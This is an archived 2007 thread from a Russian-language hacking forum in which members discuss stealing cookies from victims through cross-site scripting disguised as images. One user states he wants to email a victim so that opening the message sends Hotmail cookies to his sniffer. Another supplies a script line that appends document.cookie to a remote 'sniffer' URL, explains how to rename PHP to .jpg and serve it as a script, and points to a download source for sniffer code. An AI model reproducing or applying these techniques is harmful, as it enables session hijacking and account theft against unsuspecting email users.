ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
17.03.2007, 12:39
|
|
Участник форума
Регистрация: 05.10.2006
Сообщений: 133
Провел на форуме:
548338
Репутация:
165
|
|
Cookie через рисунки
Слыхал можно cookie красть через рисунки на активных хсс.
у кого есть идеии
|
|
|
17.03.2007, 13:01
|
|
Участник форума
Регистрация: 27.01.2006
Сообщений: 118
Провел на форуме:
402743
Репутация:
22
|
|
 Товарисчь, картинки - это не в прямом смысле, ты имеешь в виду файлы с расширением jpg которые интерпретируються сервером как php скрипт...
Таким образом - AddType application/x-httpd-php .jpg |
|
|
|
17.03.2007, 13:08
|
|
Участник форума
Регистрация: 05.10.2006
Сообщений: 133
Провел на форуме:
548338
Репутация:
165
|
|
нет например жертве маил в хтмл формате отправим, с рисунками. а в рисунках xss на наш сниффер
|
|
|
|
17.03.2007, 13:18
|
|
Участник форума
Регистрация: 27.01.2006
Сообщений: 118
Провел на форуме:
402743
Репутация:
22
|
|
Ты имеешь ввиду вот это?
Примеры использования сниффера:
Простой вызов по ссылке:
<a href="http://antichat.ru/cgi-bin/s.jpg?it is test">click me</a>
Вызов как картинки:
<img src="http://antichat.ru/cgi-bin/s.jpg">
Вызов из скрипта:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
(с) old.antichat.ru
А эта "картинка" является собой пхп кодом, выполняющимся на сервере и сохраняющая кукисы жертвы |
|
|
|
17.03.2007, 13:55
|
|
Участник форума
Регистрация: 05.10.2006
Сообщений: 133
Провел на форуме:
548338
Репутация:
165
|
|
2 ой варриант
но как закапывать коды в рисунок.
например я хочу отправить писмо по хотмаил и когда он откроет писмо куки шли на мой сниффер
|
|
|
|
17.03.2007, 14:10
|
|
Участник форума
Регистрация: 27.01.2006
Сообщений: 118
Провел на форуме:
402743
Репутация:
22
|
|
Для начала создаешь файл s.php в него пишешь код снифера, затем переименовываешь в s.jpg
Скачать снифер можно с http://kanick.ru, полазий по архиву и разберешься
|
|
|
|
17.03.2007, 14:45
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
|
|
|
|
13.07.2007, 10:50
|
|
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876
Репутация:
81
|
|
.....
Последний раз редактировалось George767; 08.02.2008 в 08:50..
|
|
|
|
13.07.2007, 10:54
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431
Репутация:
677
|
|
у тебя internet explorer 7, а видимо надо 6 чтобы работало
|
|
|
|
13.07.2007, 11:13
|
|
Участник форума
Регистрация: 06.09.2006
Сообщений: 139
Провел на форуме:
1026322
Репутация:
124
|
|
Сообщение от George767
Если у кого старая версия, плиз откройте этот файлик через нее http://anopov.com/files/ntf/scr/hex/1.png
Мой IE7 открыл эту ссылку как текст такого содержания:
Код:
‰PNG IHDRђwSЮ pHYs љњgAMA±Ћ|ыQ“ cHRMz%ЂѓщяЂйu0к`:?o’_ЕFIDATxЪbf``0уЯiIEND®B`‚
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
